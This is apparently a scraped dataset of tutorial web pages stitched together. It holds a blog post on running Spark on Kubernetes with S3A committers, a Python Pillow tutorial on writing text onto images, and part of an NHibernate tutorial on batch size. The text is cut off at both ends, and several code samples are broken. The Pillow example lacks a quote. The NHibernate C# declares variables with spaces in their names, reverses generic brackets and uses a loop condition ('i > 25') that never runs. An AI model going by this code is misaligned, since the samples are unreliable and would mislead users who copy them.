"s": 1026,
"text": "In this blog, I will explain how to run Spark with Kubernetes using the Spark on Kubernetes Operator. I will also describe the configurations for fast S3 data access using S3A Connector and S3A Committers. This architecture works for both cloud object storage and on premise S3 compatible object storage like FlashBlade S3."
},
{
"code": null,
"e": 1455,
"s": 1350,
"text": "Follow this quick start guide to install the operator. Make sure you enable webhook in the installation."
},
{
"code": null,
"e": 1625,
"s": 1455,
"text": "helm repo add incubator http://storage.googleapis.com/kubernetes-charts-incubatorhelm install incubator/sparkoperator --namespace spark-operator --set enableWebhook=true"
},
{
"code": null,
"e": 1725,
"s": 1625,
"text": "Create spark service account and roll binding in Kubernetes default name space using this manifest."
},
{
"code": null,
"e": 1768,
"s": 1725,
"text": "kubectl create -f manifest/spark-rbac.yaml"
},
{
"code": null,
"e": 1911,
"s": 1768,
"text": "Run the Spark Pi example to test the installation. This will create two Spark pods in Kubernetes: one for the driver, another for an executor."
},
{
"code": null,
"e": 1951,
"s": 1911,
"text": "kubectl apply -f examples/spark-pi.yaml"
},
{
"code": null,
"e": 2265,
"s": 1951,
"text": "Thanks to the Spark Operator, with a couple of commands, I was able to deploy a simple Spark job running on Kubernetes. My next task is to access data in S3 in my Spark job. Hadoop’s S3A connector offers high-performance I/O against Amazon S3 and compatible object storage implementations including FlashBlade S3."
},
{
"code": null,
"e": 2644,
"s": 2265,
"text": "The Spark Operator uses a pre-built Spark docker image from Google Cloud. However, the image does not include the S3A connector. Although, it is possible to customise and add S3A, the default Spark image is built against Hadoop 2.7, which is known to have an inefficient and slow S3A implementation. So I decided to build my own Docker image with Spark and latest S3A connector."
},
{
"code": null,
"e": 2850,
"s": 2644,
"text": "I will omit the building process details as it is straightforward, but the key points is to use the pre-built Spark-without-Hadoop binary and user-provided Hadoop. My Docker file is available on my Github."
},
{
"code": null,
"e": 2940,
"s": 2850,
"text": "My Docker image with Spark 2.4.5, Hadoop 3.2.1 and latest S3A is available at Docker Hub:"
},
{
"code": null,
"e": 2978,
"s": 2940,
"text": "docker pull uprush/apache-spark:2.4.5"
},
{
"code": null,
"e": 3056,
"s": 2978,
"text": "The minimum S3A configuration for Spark to access data in S3 is as the below:"
},
{
"code": null,
"e": 3256,
"s": 3056,
"text": "\"spark.hadoop.fs.s3a.endpoint\": \"192.168.170.12\"\"spark.hadoop.fs.s3a.access.key\": \"S3_ACCESS_KEY\"\"spark.hadoop.fs.s3a.secret.key\": \"S3_SECRET_KEY\"\"spark.hadoop.fs.s3a.connection.ssl.enabled\": \"false\""
},
{
"code": null,
"e": 3542,
"s": 3256,
"text": "In a regular Spark cluster, this is put in the spark-default.conf, or core-site.xml file if running with Hadoop. With the Spark Operator, it is configured under spec.sparkConf section in your application YAML file. Refer to the API doc for a full description of the Spark Operator API."
},
{
"code": null,
"e": 4028,
"s": 3542,
"text": "A working example is the best to demonstrate how it works. Here is an example code to read and write data in S3 from a Spark program called DogLover. I have collected tweets from dog lovers on twitter, using the twitter API, and stores them as JSON files in an S3 bucket on FlashBlade. The DogLover Spark program is a simple ETL job, which reads the JSON files from S3, does the ETL using Spark Dataframe and writes the result back to S3 as Parquet file, all through the S3A connector."
},
{
"code": null,
"e": 4332,
"s": 4028,
"text": "To manage the lifecycle of Spark applications in Kubernetes, the Spark Operator does not allow clients to use spark-submit directly to run the job. Instead, I upload the jar file to S3, and in my doglover.yaml spec file, I let the Spark Operator to download from there and run the program on Kubernetes."
},
{
"code": null,
"e": 4570,
"s": 4332,
"text": "spec: type: Scala mode: cluster image: \"uprush/apache-spark:2.4.5\" imagePullPolicy: Always mainClass: com.uprush.example.DogLover mainApplicationFile: \"s3a://deephub/doglover/doglover_2.12-0.1.0-SNAPSHOT.jar\" sparkVersion: \"2.4.5\""
},
{
"code": null,
"e": 4613,
"s": 4570,
"text": "I can then submit the Spark job like this:"
},
{
"code": null,
"e": 4645,
"s": 4613,
"text": "kubectl create -f doglover.yaml"
},
{
"code": null,
"e": 4706,
"s": 4645,
"text": "After a few seconds, my Spark job was running on Kubernetes."
},
{
"code": null,
"e": 4831,
"s": 4706,
"text": "Once the job finished, we should see a zero byte _SUCCESS file along with multiple Parquet files in the output S3 directory."
},
{
"code": null,
"e": 4864,
"s": 4831,
"text": "My architecture looks like this:"
},
{
"code": null,
"e": 5293,
"s": 4864,
"text": "In my opinion, this is a better way to submit Spark jobs because it can be submitted from any available Kubernetes client. It makes my job less dependent on the infrastructure, therefore more portable. For example to run the same job in AWS, I can first replicate my data from FlashBlade S3 to Amazon S3 using FlashBlade object replication. I can then easily run the same Spark job same way in a Kubernetes cluster in AWS cloud."
},
{
"code": null,
"e": 5832,
"s": 5293,
"text": "When working with S3, Spark relies on the Hadoop output committers to reliably writes output to S3 object storage. The traditional FileOutputCommitter is designed for HDFS, thus when using with S3, it is known to be inefficient, slow and less reliable because it relays on an atomic “rename” HDFS operation, which is not available for object storage. In Hadoop 3, the new “zero-rename” S3A Committers are created for addressing these issues by leveraging cloud-native S3 feature. See more on Committing work to S3 with the S3A Committers."
},
{
"code": null,
"e": 5947,
"s": 5832,
"text": "Netflix has contributed a S3A committer called the Staging Committer, one which has a number of appealing features"
},
{
"code": null,
"e": 6010,
"s": 5947,
"text": "Doesn’t have any requirements of the destination object store."
},
{
"code": null,
"e": 6025,
"s": 6010,
"text": "Known to work."
},
{
"code": null,
"e": 6480,
"s": 6025,
"text": "The committer writes task outputs to a temporary directory called task attempt directory on the local filesystem. On task commit, the committer enumerates files in the task attempt directory. Each file is uploaded to S3 using the multi-part upload API. The information needed to commit the upload is saved into a HDFS staging directory and committed via that protocol: when the job commits, pending upload parts of the successful tasks are all committed."
},
{
"code": null,
"e": 6565,
"s": 6480,
"text": "Minimum S3A staging committer configurations for Spark on Kubernetes (without HDFS):"
},
{
"code": null,
"e": 6940,
"s": 6565,
"text": "\"spark.hadoop.mapreduce.outputcommitter.factory.scheme.s3a\":\"org.apache.hadoop.fs.s3a.commit.S3ACommitterFactory\"\"spark.hadoop.fs.s3a.committer.name\": \"directory\"\"spark.sql.sources.commitProtocolClass\": \"org.apache.spark.internal.io.cloud.PathOutputCommitProtocol\"\"spark.sql.parquet.output.committer.class\": \"org.apache.spark.internal.io.cloud.BindingParquetOutputCommitter\""
},
{
"code": null,
"e": 7148,
"s": 6940,
"text": "In fact, the staging directory does not have to be in HDFS, it can be also be a NFS volume that is shared to all Spark pods. In my case, I use FlashBlade NFS because I don’t want to have any HDFS dependency."
},
{
"code": null,
"e": 7251,
"s": 7148,
"text": "Creating a staging PV and mount it to all Spark pods is easy by using Pure Service Orchestrator (PSO)."
},
{
"code": null,
"e": 7360,
"s": 7251,
"text": "To use FlashBlade NFS as the PV, create a staging-pvc.yaml spec file and specify storage class to pure-file."
},
{
"code": null,
"e": 7547,
"s": 7360,
"text": "apiVersion: v1kind: PersistentVolumeClaimmetadata: name: data-staging-sharespec: accessModes: - ReadWriteMany resources: requests: storage: 1Ti storageClassName: pure-file"
},
{
"code": null,
"e": 7584,
"s": 7547,
"text": "Apply the spec file to create a PVC."
},
{
"code": null,
"e": 7619,
"s": 7584,
"text": "kubectl create -f staging-pvc.yaml"
},
{
"code": null,
"e": 7744,
"s": 7619,
"text": "I then create a PV and mount it to all Spark pods under the committer’s work directory, which is /home/spark/tmp in my case."
},
{
"code": null,
"e": 8046,
"s": 7744,
"text": "spec: volumes: - name: \"staging-vol\" persistentVolumeClaim: claimName: data-staging-share driver: volumeMounts: - name: \"staging-vol\" mountPath: \"/home/spark/tmp\" executor: instances: 2 volumeMounts: - name: \"staging-vol\" mountPath: \"/home/spark/tmp\""
},
{
"code": null,
"e": 8087,
"s": 8046,
"text": "Finally, I configure S3A to use this PV."
},
{
"code": null,
"e": 8162,
"s": 8087,
"text": "\"spark.hadoop.fs.s3a.committer.tmp.path\": \"file:///home/spark/tmp/staging\""
},
{
"code": null,
"e": 8826,
"s": 8162,
"text": "It is not required, but often time it is better to use a PV for S3A committer’s buffer directory. Buffer directory is a local filesystem directory for data being written by the committer. Because the staging committer writes its output to the local filesystem and only uploads the data on task commits, it is important to make sure enough local storage is available to store outputs generated by all uncommitted tasks running on the host. Small hosts/VMs may run out of disk. To avoid this situation, I configure S3A to use the same PV as the above for buffer directory. Even it is a remote storage, performance is no problem here because FlashBlade is very fast."
},
{
"code": null,
"e": 8885,
"s": 8826,
"text": "\"spark.hadoop.fs.s3a.buffer.dir\": \"/home/spark/tmp/buffer\""
},
{
"code": null,
"e": 9016,
"s": 8885,
"text": "With these, I can use the efficient, fast and reliable S3A staging committer to write data to S3 from Spark running on Kubernetes."
},
{
"code": null,
"e": 9066,
"s": 9016,
"text": "With the above setup, my architecture changes to:"
},
{
"code": null,
"e": 9280,
"s": 9066,
"text": "Put everything above together in the doglover.yaml spec file, rerun the job. Unlike before, this time the _SUCCESS file created by the job is not zero byte. It contains metrics and counters from the S3A committer."
},
{
"code": null,
"e": 9645,
"s": 9280,
"text": "cat _SUCCESS{ \"name\" : \"org.apache.hadoop.fs.s3a.commit.files.SuccessData/1\", \"timestamp\" : 1588673361792, \"date\" : \"Tue May 05 10:09:21 UTC 2020\", \"hostname\" : \"doglover-driver\", \"committer\" : \"directory\", \"description\" : \"Task committer attempt_20200505100916_0000_m_000000_0\", \"metrics\" : { \"stream_write_block_uploads\" : 0, \"files_created\" : 1,..."
},
{
"code": null,
"e": 9833,
"s": 9645,
"text": "This indicates the S3A committer is correctly configured, and Spark was writing to S3 more efficiently. Refer to my deck for the details of S3A committers and their performance character."
},
{
"code": null,
"e": 10377,
"s": 9833,
"text": "With Spark on Kubernetes, and by putting data in S3, I was able to easily and quickly spin up and down Spark jobs in a portable way. I was also able to run my Spark jobs along with many other applications such as Presto and Apache Kafka in the same Kubernetes cluster, using the same FlashBlade storage. And I did not need to manage a Hadoop cluster for all of these. Kubernetes, FlashBlade and PSO together bring a simple, scalable and high performance disaggregated solution for running modern analytics systems such as Spark like a service."
},
{
"code": null,
"e": 10895,
"s": 10377,
"text": "The benefit of using Spark with Kubernetes and S3 is definitely huge, however, it does have limits. This architecture is great for fire-and-forget types of workload like ETL batches. Although, it may not be the best Spark architecture for things like business intelligence (BI) and notebook backend, because I couldn’t find an easy way to keep the Thrift Server or Spark session running through the Spark Operator. But I know there are better ways to do those on Kubernetes with Spark and other solutions. Keep tuned."
}
] |
Python Pillow - Writing Text on Image
|
You can write text on images by passing the location of the text, the text itself and the color of the text. We can pass multiple other parameters to this method.
from PIL import Image, ImageDraw
img = Image.open(beach1.jpg')
d1 = ImageDraw.Draw(img)
d1.text((28, 36), "Hello, TutorialsPoint!", fill=(255, 0, 0))
img.show()
img.save("images/image_text.jpg")
If you save the above program as Example.py and execute, it will add the given text on it, and displays it using the standard PNG display utility, as follows −
There are numerous ways to select the font used for writing on the image. We can either load fonts directly from the system by passing the full path to the function, or we can use the ImageFont to load a TrueType font.
from PIL import Image, ImageDraw, ImageFont
img = Image.open('images/logo.jpg')
d1 = ImageDraw.Draw(img)
myFont = ImageFont.truetype('E:/PythonPillow/Fonts/FreeMono.ttf', 40)
d1.text((0, 0), "Sample text", font=myFont, fill =(255, 0, 0))
img.show()
img.save("images/image_text.jpg")
187 Lectures
17.5 hours
Malhar Lathkar
55 Lectures
8 hours
Arnab Chakraborty
136 Lectures
11 hours
In28Minutes Official
75 Lectures
13 hours
Eduonix Learning Solutions
70 Lectures
8.5 hours
Lets Kode It
63 Lectures
6 hours
Abhilash Nelson
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2363,
"s": 2200,
"text": "You can write text on images by passing the location of the text, the text itself and the color of the text. We can pass multiple other parameters to this method."
},
{
"code": null,
"e": 2559,
"s": 2363,
"text": "from PIL import Image, ImageDraw\n\nimg = Image.open(beach1.jpg')\nd1 = ImageDraw.Draw(img)\nd1.text((28, 36), \"Hello, TutorialsPoint!\", fill=(255, 0, 0))\nimg.show()\nimg.save(\"images/image_text.jpg\")"
},
{
"code": null,
"e": 2719,
"s": 2559,
"text": "If you save the above program as Example.py and execute, it will add the given text on it, and displays it using the standard PNG display utility, as follows −"
},
{
"code": null,
"e": 2938,
"s": 2719,
"text": "There are numerous ways to select the font used for writing on the image. We can either load fonts directly from the system by passing the full path to the function, or we can use the ImageFont to load a TrueType font."
},
{
"code": null,
"e": 3222,
"s": 2938,
"text": "from PIL import Image, ImageDraw, ImageFont\n\nimg = Image.open('images/logo.jpg')\nd1 = ImageDraw.Draw(img)\nmyFont = ImageFont.truetype('E:/PythonPillow/Fonts/FreeMono.ttf', 40)\nd1.text((0, 0), \"Sample text\", font=myFont, fill =(255, 0, 0))\nimg.show()\nimg.save(\"images/image_text.jpg\")"
},
{
"code": null,
"e": 3259,
"s": 3222,
"text": "\n 187 Lectures \n 17.5 hours \n"
},
{
"code": null,
"e": 3275,
"s": 3259,
"text": " Malhar Lathkar"
},
{
"code": null,
"e": 3308,
"s": 3275,
"text": "\n 55 Lectures \n 8 hours \n"
},
{
"code": null,
"e": 3327,
"s": 3308,
"text": " Arnab Chakraborty"
},
{
"code": null,
"e": 3362,
"s": 3327,
"text": "\n 136 Lectures \n 11 hours \n"
},
{
"code": null,
"e": 3384,
"s": 3362,
"text": " In28Minutes Official"
},
{
"code": null,
"e": 3418,
"s": 3384,
"text": "\n 75 Lectures \n 13 hours \n"
},
{
"code": null,
"e": 3446,
"s": 3418,
"text": " Eduonix Learning Solutions"
},
{
"code": null,
"e": 3481,
"s": 3446,
"text": "\n 70 Lectures \n 8.5 hours \n"
},
{
"code": null,
"e": 3495,
"s": 3481,
"text": " Lets Kode It"
},
{
"code": null,
"e": 3528,
"s": 3495,
"text": "\n 63 Lectures \n 6 hours \n"
},
{
"code": null,
"e": 3545,
"s": 3528,
"text": " Abhilash Nelson"
},
{
"code": null,
"e": 3552,
"s": 3545,
"text": " Print"
},
{
"code": null,
"e": 3563,
"s": 3552,
"text": " Add Notes"
}
] |
NHibernate - Batch Size
|
In this chapter, we will be covering the batch size update. The batch size allows you to control the number of updates that go out in a single round trip to your database for the supported databases.
The update batch size has been defaulted as of NHibernate 3.2.
The update batch size has been defaulted as of NHibernate 3.2.
But if you are using an earlier version or need to tune your NHibernate application, you should look at the update batch size, which is a very useful parameter that can be used to tune NHibernate's performance.
But if you are using an earlier version or need to tune your NHibernate application, you should look at the update batch size, which is a very useful parameter that can be used to tune NHibernate's performance.
Actually batch size controls how many inserts to push out in a group to a database.
Actually batch size controls how many inserts to push out in a group to a database.
At the moment, only SQL Server and Oracle support this option because the underlying database provider needs to support query batching.
At the moment, only SQL Server and Oracle support this option because the underlying database provider needs to support query batching.
Let’s have a look into a simple example in which we have set the batch size to 10 that will insert 10 records in a set.
cfg.DataBaseIntegration(x => {
x.ConnectionString = "default";
x.Driver<SqlClientDriver>();
x.Dialect<MsSql2008Dialect>();
x.LogSqlInConsole = true;
x.BatchSize = 10;
});
Here is the complete implementation in which 25 records will be added to the database.
using HibernatingRhinos.Profiler.Appender.NHibernate;
using NHibernate.Cfg;
using NHibernate.Dialect;
using NHibernate.Driver;
using System;
using System.Linq;
using System.Reflection;
namespace NHibernateDemoApp {
class Program {
static void Main(string[] args) {
NHibernateProfiler.Initialize();
var cfg = new Configuration();
String Data Source = asia13797\\sqlexpress;
String Initial Catalog = NHibernateDemoDB;
String Integrated Security = True;
String Connect Timeout = 15;
String Encrypt = False;
String TrustServerCertificate = False;
String ApplicationIntent = ReadWrite;
String MultiSubnetFailover = False;
cfg.DataBaseIntegration(x = > { x.ConnectionString = "Data Source +
Initial Catalog + Integrated Security + Connect Timeout + Encrypt +
TrustServerCertificate + ApplicationIntent + MultiSubnetFailover";
x.Driver>SqlClientDriver<();
x.Dialect>MsSql2008Dialect>();
x.LogSqlInConsole = true;
x.BatchSize = 10;
});
//cfg.Configure();
cfg.AddAssembly(Assembly.GetExecutingAssembly());
var sefact = cfg.BuildSessionFactory();
using (var session = sefact.OpenSession()) {
using (var tx = session.BeginTransaction()) {
for (int i = 0; i < 25; i++) {
var student = new Student {
ID = 100+i,
FirstName = "FirstName"+i.ToString(),
LastName = "LastName" + i.ToString(),
AcademicStanding = StudentAcademicStanding.Good
};
session.Save(student);
}
tx.Commit();
var students = session.CreateCriteria<Student>().List<Student>();
Console.WriteLine("\nFetch the complete list again\n");
foreach (var student in students) {
Console.WriteLine("{0} \t{1} \t{2} \t{3}", student.ID,student.FirstName,
student.LastName, student.AcademicStanding);
}
}
Console.ReadLine();
}
}
}
}
Now let’s run your application and you see all those updates are jumping over to NHibernate profiler. We have 26 individual round trips to the database 25 for insertion and one retrieving the list of students.
Now, why is that? The reason is because NHibernate needs to do a select scope identity as we are using the native identifier generation strategy in the mapping file for ID as shown in the following code.
<?xml version = "1.0" encoding = "utf-8" ?>
<hibernate-mapping xmlns = "urn:nhibernate-mapping-2.2"
assembly = "NHibernateDemoApp"
namespace = "NHibernateDemoApp">
<class name = "Student">
<id name = "ID">
<generator class = "native"/>
</id>
<property name = "LastName"/>
<property name = "FirstName" column = "FirstMidName" type = "String"/>
<property name = "AcademicStanding"/>
</class>
</hibernate-mapping>
So we need to use a different method such as the guid.comb method. If we're going to go to guid.comb, we need to go over to our customer and change this to a guid. So that will work fine. Now let’s change from the native to guid.comb using the following code.
<?xml version = "1.0" encoding = "utf-8" ?>
<hibernate-mapping xmlns = "urn:nhibernate-mapping-2.2" assembly =
"NHibernateDemoApp" namespace = "NHibernateDemoApp">
<class name = "Student">
<id name = "ID">
<generator class = "guid.comb"/>
</id>
<property name = "LastName"/>
<property name = "FirstName" column = "FirstMidName" type = "String"/>
<property name = "AcademicStanding"/>
</class>
</hibernate-mapping>
So it's the database that's responsible for generating those IDs. The only way NHibernate can find out what ID was generated was to select it immediately afterwards. Or else, if we have created a batch of students, it will not be able match up the ID of the student that was created.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace NHibernateDemoApp {
class Student {
public virtual Guid ID { get; set; }
public virtual string LastName { get; set; }
public virtual string FirstName { get; set; }
public virtual StudentAcademicStanding AcademicStanding { get; set; }
}
public enum StudentAcademicStanding {
Excellent,
Good,
Fair,
Poor,
Terrible
}
}
We just need to update our database. Let’s drop the student table and create a new table by specifying the following query, so go the SQL Server Object Explorer and right-click on the database and select the New Query... option.
It will open the query editor and and then specify the following query.
DROP TABLE [dbo].[Student]
CREATE TABLE [dbo].[Student] (
-- [ID] INT IDENTITY (1, 1) NOT NULL,
[ID] UNIQUEIDENTIFIER NOT NULL,
[LastName] NVARCHAR (MAX) NULL,
[FirstMidName] NVARCHAR (MAX) NULL,
[AcademicStanding] NCHAR(10) NULL,
CONSTRAINT [PK_dbo.Student] PRIMARY KEY CLUSTERED ([ID] ASC)
);
This query will first drop the existing student table and then create a new table. As you can see that we have used UNIQUEIDENTIFIER rather than using an integer primary key as an ID.
Execute this query and then go to the Designer view and you will see that now the ID is created with a unique identifier as shown in the following image.
Now we need to remove the ID from the program.cs file, while inserting data, because now it will generate the guids for it automatically.
using HibernatingRhinos.Profiler.Appender.NHibernate;
using NHibernate.Cfg;
using NHibernate.Dialect;
using NHibernate.Driver;
using System;
using System.Linq;
using System.Reflection;
namespace NHibernateDemoApp {
class Program {
static void Main(string[] args) {
NHibernateProfiler.Initialize();
var cfg = new Configuration();
String Data Source = asia13797\\sqlexpress;
String Initial Catalog = NHibernateDemoDB;
String Integrated Security = True;
String Connect Timeout = 15;
String Encrypt = False;
String TrustServerCertificate = False;
String ApplicationIntent = ReadWrite;
String MultiSubnetFailover = False;
cfg.DataBaseIntegration(x = > { x.ConnectionString = "Data Source +
Initial Catalog + Integrated Security + Connect Timeout + Encrypt +
TrustServerCertificate + ApplicationIntent + MultiSubnetFailover";
x.Driver<SqlClientDriver>();
x.Dialect<MsSql2008Dialect>();
x.LogSqlInConsole = true;
x.BatchSize = 10;
});
//cfg.Configure();
cfg.AddAssembly(Assembly.GetExecutingAssembly());
var sefact = cfg.BuildSessionFactory();
using (var session = sefact.OpenSession()) {
using (var tx = session.BeginTransaction()) {
for (int i = 0; i > 25; i++) {
var student = new Student {
FirstName = "FirstName"+i.ToString(),
LastName = "LastName" + i.ToString(),
AcademicStanding = StudentAcademicStanding.Good
};
session.Save(student);
}
tx.Commit();
var students = session.CreateCriteria<Student>().List<Student>();
Console.WriteLine("\nFetch the complete list again\n");
foreach (var student in students) {
Console.WriteLine("{0} \t{1} \t{2} \t{3}", student.ID,
student.FirstName,student.LastName, student.AcademicStanding);
}
}
Console.ReadLine();
}
}
}
}
Now run the application again and have a look at the NHibernate profiler. Now the NHibernate profiler rather than making 26 round trips will make only four.
It's inserted ten rows into the table, then another ten rows, and later the remaining five. And after commit, it has inserted one more for retrieving all the records.
So it's divided it up into groups of ten, as best it can.
So it's divided it up into groups of ten, as best it can.
So if you're doing a lot of inserts, this can dramatically improve the insert performance in your application, because you can batch it up.
So if you're doing a lot of inserts, this can dramatically improve the insert performance in your application, because you can batch it up.
This is because NHibernate assigns those guids itself using the guid.comb algorithm, and it doesn't have to rely on the database to do this.
This is because NHibernate assigns those guids itself using the guid.comb algorithm, and it doesn't have to rely on the database to do this.
So using the batch size is a great way to tune it.
So using the batch size is a great way to tune it.
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2533,
"s": 2333,
"text": "In this chapter, we will be covering the batch size update. The batch size allows you to control the number of updates that go out in a single round trip to your database for the supported databases."
},
{
"code": null,
"e": 2596,
"s": 2533,
"text": "The update batch size has been defaulted as of NHibernate 3.2."
},
{
"code": null,
"e": 2659,
"s": 2596,
"text": "The update batch size has been defaulted as of NHibernate 3.2."
},
{
"code": null,
"e": 2870,
"s": 2659,
"text": "But if you are using an earlier version or need to tune your NHibernate application, you should look at the update batch size, which is a very useful parameter that can be used to tune NHibernate's performance."
},
{
"code": null,
"e": 3081,
"s": 2870,
"text": "But if you are using an earlier version or need to tune your NHibernate application, you should look at the update batch size, which is a very useful parameter that can be used to tune NHibernate's performance."
},
{
"code": null,
"e": 3165,
"s": 3081,
"text": "Actually batch size controls how many inserts to push out in a group to a database."
},
{
"code": null,
"e": 3249,
"s": 3165,
"text": "Actually batch size controls how many inserts to push out in a group to a database."
},
{
"code": null,
"e": 3385,
"s": 3249,
"text": "At the moment, only SQL Server and Oracle support this option because the underlying database provider needs to support query batching."
},
{
"code": null,
"e": 3521,
"s": 3385,
"text": "At the moment, only SQL Server and Oracle support this option because the underlying database provider needs to support query batching."
},
{
"code": null,
"e": 3641,
"s": 3521,
"text": "Let’s have a look into a simple example in which we have set the batch size to 10 that will insert 10 records in a set."
},
{
"code": null,
"e": 3837,
"s": 3641,
"text": "cfg.DataBaseIntegration(x => { \n \n x.ConnectionString = \"default\"; \n x.Driver<SqlClientDriver>(); \n x.Dialect<MsSql2008Dialect>(); \n x.LogSqlInConsole = true; \n x.BatchSize = 10; \n\n});"
},
{
"code": null,
"e": 3924,
"s": 3837,
"text": "Here is the complete implementation in which 25 records will be added to the database."
},
{
"code": null,
"e": 6295,
"s": 3924,
"text": "using HibernatingRhinos.Profiler.Appender.NHibernate; \nusing NHibernate.Cfg; \nusing NHibernate.Dialect; \nusing NHibernate.Driver; \n\nusing System; \nusing System.Linq; \nusing System.Reflection;\nnamespace NHibernateDemoApp {\n \n class Program { \n static void Main(string[] args) { \n NHibernateProfiler.Initialize(); \n var cfg = new Configuration(); \n\t\t\t\n String Data Source = asia13797\\\\sqlexpress;\n String Initial Catalog = NHibernateDemoDB;\n String Integrated Security = True;\n String Connect Timeout = 15;\n String Encrypt = False;\n String TrustServerCertificate = False;\n String ApplicationIntent = ReadWrite;\n String MultiSubnetFailover = False;\n\t\t\t\n cfg.DataBaseIntegration(x = > { x.ConnectionString = \"Data Source + \n Initial Catalog + Integrated Security + Connect Timeout + Encrypt +\n TrustServerCertificate + ApplicationIntent + MultiSubnetFailover\";\n \n x.Driver>SqlClientDriver<(); \n x.Dialect>MsSql2008Dialect>(); \n x.LogSqlInConsole = true; \n x.BatchSize = 10; \n }); \n \n //cfg.Configure(); \n cfg.AddAssembly(Assembly.GetExecutingAssembly()); \n var sefact = cfg.BuildSessionFactory(); \n\t\t\t\n using (var session = sefact.OpenSession()) { \n\t\t\t\n using (var tx = session.BeginTransaction()) { \n\t\t\t\t\n for (int i = 0; i < 25; i++) { \n \n var student = new Student { \n ID = 100+i, \n FirstName = \"FirstName\"+i.ToString(), \n LastName = \"LastName\" + i.ToString(), \n AcademicStanding = StudentAcademicStanding.Good \n }; \n\t\t\t\t\t\t\n session.Save(student); \n } \n\t\t\t\t\t\n tx.Commit();\n var students = session.CreateCriteria<Student>().List<Student>(); \n Console.WriteLine(\"\\nFetch the complete list again\\n\"); \n \n foreach (var student in students) { \n Console.WriteLine(\"{0} \\t{1} \\t{2} \\t{3}\", student.ID,student.FirstName,\n student.LastName, student.AcademicStanding); \n } \n } \n\t\t\t\t\n Console.ReadLine(); \n } \n }\n } \n}"
},
{
"code": null,
"e": 6505,
"s": 6295,
"text": "Now let’s run your application and you see all those updates are jumping over to NHibernate profiler. We have 26 individual round trips to the database 25 for insertion and one retrieving the list of students."
},
{
"code": null,
"e": 6709,
"s": 6505,
"text": "Now, why is that? The reason is because NHibernate needs to do a select scope identity as we are using the native identifier generation strategy in the mapping file for ID as shown in the following code."
},
{
"code": null,
"e": 7193,
"s": 6709,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\" ?> \n<hibernate-mapping xmlns = \"urn:nhibernate-mapping-2.2\" \n assembly = \"NHibernateDemoApp\" \n namespace = \"NHibernateDemoApp\"> \n \n <class name = \"Student\"> \n\n <id name = \"ID\"> \n <generator class = \"native\"/> \n </id> \n\n <property name = \"LastName\"/> \n <property name = \"FirstName\" column = \"FirstMidName\" type = \"String\"/> \n <property name = \"AcademicStanding\"/> \n \n </class> \n</hibernate-mapping>"
},
{
"code": null,
"e": 7453,
"s": 7193,
"text": "So we need to use a different method such as the guid.comb method. If we're going to go to guid.comb, we need to go over to our customer and change this to a guid. So that will work fine. Now let’s change from the native to guid.comb using the following code."
},
{
"code": null,
"e": 7929,
"s": 7453,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\" ?> \n<hibernate-mapping xmlns = \"urn:nhibernate-mapping-2.2\" assembly =\n \"NHibernateDemoApp\" namespace = \"NHibernateDemoApp\"> \n <class name = \"Student\"> \n\n <id name = \"ID\"> \n <generator class = \"guid.comb\"/> \n </id> \n\n <property name = \"LastName\"/> \n <property name = \"FirstName\" column = \"FirstMidName\" type = \"String\"/> \n <property name = \"AcademicStanding\"/> \n\n </class> \n\n</hibernate-mapping>"
},
{
"code": null,
"e": 8213,
"s": 7929,
"text": "So it's the database that's responsible for generating those IDs. The only way NHibernate can find out what ID was generated was to select it immediately afterwards. Or else, if we have created a batch of students, it will not be able match up the ID of the student that was created."
},
{
"code": null,
"e": 8741,
"s": 8213,
"text": "using System; \nusing System.Collections.Generic; \nusing System.Linq; \nusing System.Text; \nusing System.Threading.Tasks;\n\nnamespace NHibernateDemoApp {\n \n class Student { \n public virtual Guid ID { get; set; } \n public virtual string LastName { get; set; } \n public virtual string FirstName { get; set; } \n public virtual StudentAcademicStanding AcademicStanding { get; set; }\n } \n\t\n public enum StudentAcademicStanding { \n Excellent, \n Good, \n Fair, \n Poor, \n Terrible \n }\n}"
},
{
"code": null,
"e": 8970,
"s": 8741,
"text": "We just need to update our database. Let’s drop the student table and create a new table by specifying the following query, so go the SQL Server Object Explorer and right-click on the database and select the New Query... option."
},
{
"code": null,
"e": 9042,
"s": 8970,
"text": "It will open the query editor and and then specify the following query."
},
{
"code": null,
"e": 9363,
"s": 9042,
"text": "DROP TABLE [dbo].[Student]\nCREATE TABLE [dbo].[Student] ( \n\n -- [ID] INT IDENTITY (1, 1) NOT NULL, \n [ID] UNIQUEIDENTIFIER NOT NULL, \n [LastName] NVARCHAR (MAX) NULL, \n [FirstMidName] NVARCHAR (MAX) NULL, \n [AcademicStanding] NCHAR(10) NULL, \n CONSTRAINT [PK_dbo.Student] PRIMARY KEY CLUSTERED ([ID] ASC) \n);"
},
{
"code": null,
"e": 9547,
"s": 9363,
"text": "This query will first drop the existing student table and then create a new table. As you can see that we have used UNIQUEIDENTIFIER rather than using an integer primary key as an ID."
},
{
"code": null,
"e": 9701,
"s": 9547,
"text": "Execute this query and then go to the Designer view and you will see that now the ID is created with a unique identifier as shown in the following image."
},
{
"code": null,
"e": 9839,
"s": 9701,
"text": "Now we need to remove the ID from the program.cs file, while inserting data, because now it will generate the guids for it automatically."
},
{
"code": null,
"e": 12196,
"s": 9839,
"text": "using HibernatingRhinos.Profiler.Appender.NHibernate; \nusing NHibernate.Cfg; \nusing NHibernate.Dialect; \nusing NHibernate.Driver; \n\nusing System; \nusing System.Linq; \nusing System.Reflection;\nnamespace NHibernateDemoApp { \n \n class Program { \n\t\n static void Main(string[] args) { \n\t\t\n NHibernateProfiler.Initialize();\n var cfg = new Configuration();\n\n String Data Source = asia13797\\\\sqlexpress;\n String Initial Catalog = NHibernateDemoDB;\n String Integrated Security = True;\n String Connect Timeout = 15;\n String Encrypt = False;\n String TrustServerCertificate = False;\n String ApplicationIntent = ReadWrite;\n String MultiSubnetFailover = False;\n\t\t\t\n cfg.DataBaseIntegration(x = > { x.ConnectionString = \"Data Source + \n Initial Catalog + Integrated Security + Connect Timeout + Encrypt +\n TrustServerCertificate + ApplicationIntent + MultiSubnetFailover\"; \n\t\t\t\t\n x.Driver<SqlClientDriver>(); \n x.Dialect<MsSql2008Dialect>(); \n x.LogSqlInConsole = true;\n x.BatchSize = 10; \n }); \n \n //cfg.Configure(); \n cfg.AddAssembly(Assembly.GetExecutingAssembly()); \n var sefact = cfg.BuildSessionFactory(); \n\t\t\t\n using (var session = sefact.OpenSession()) { 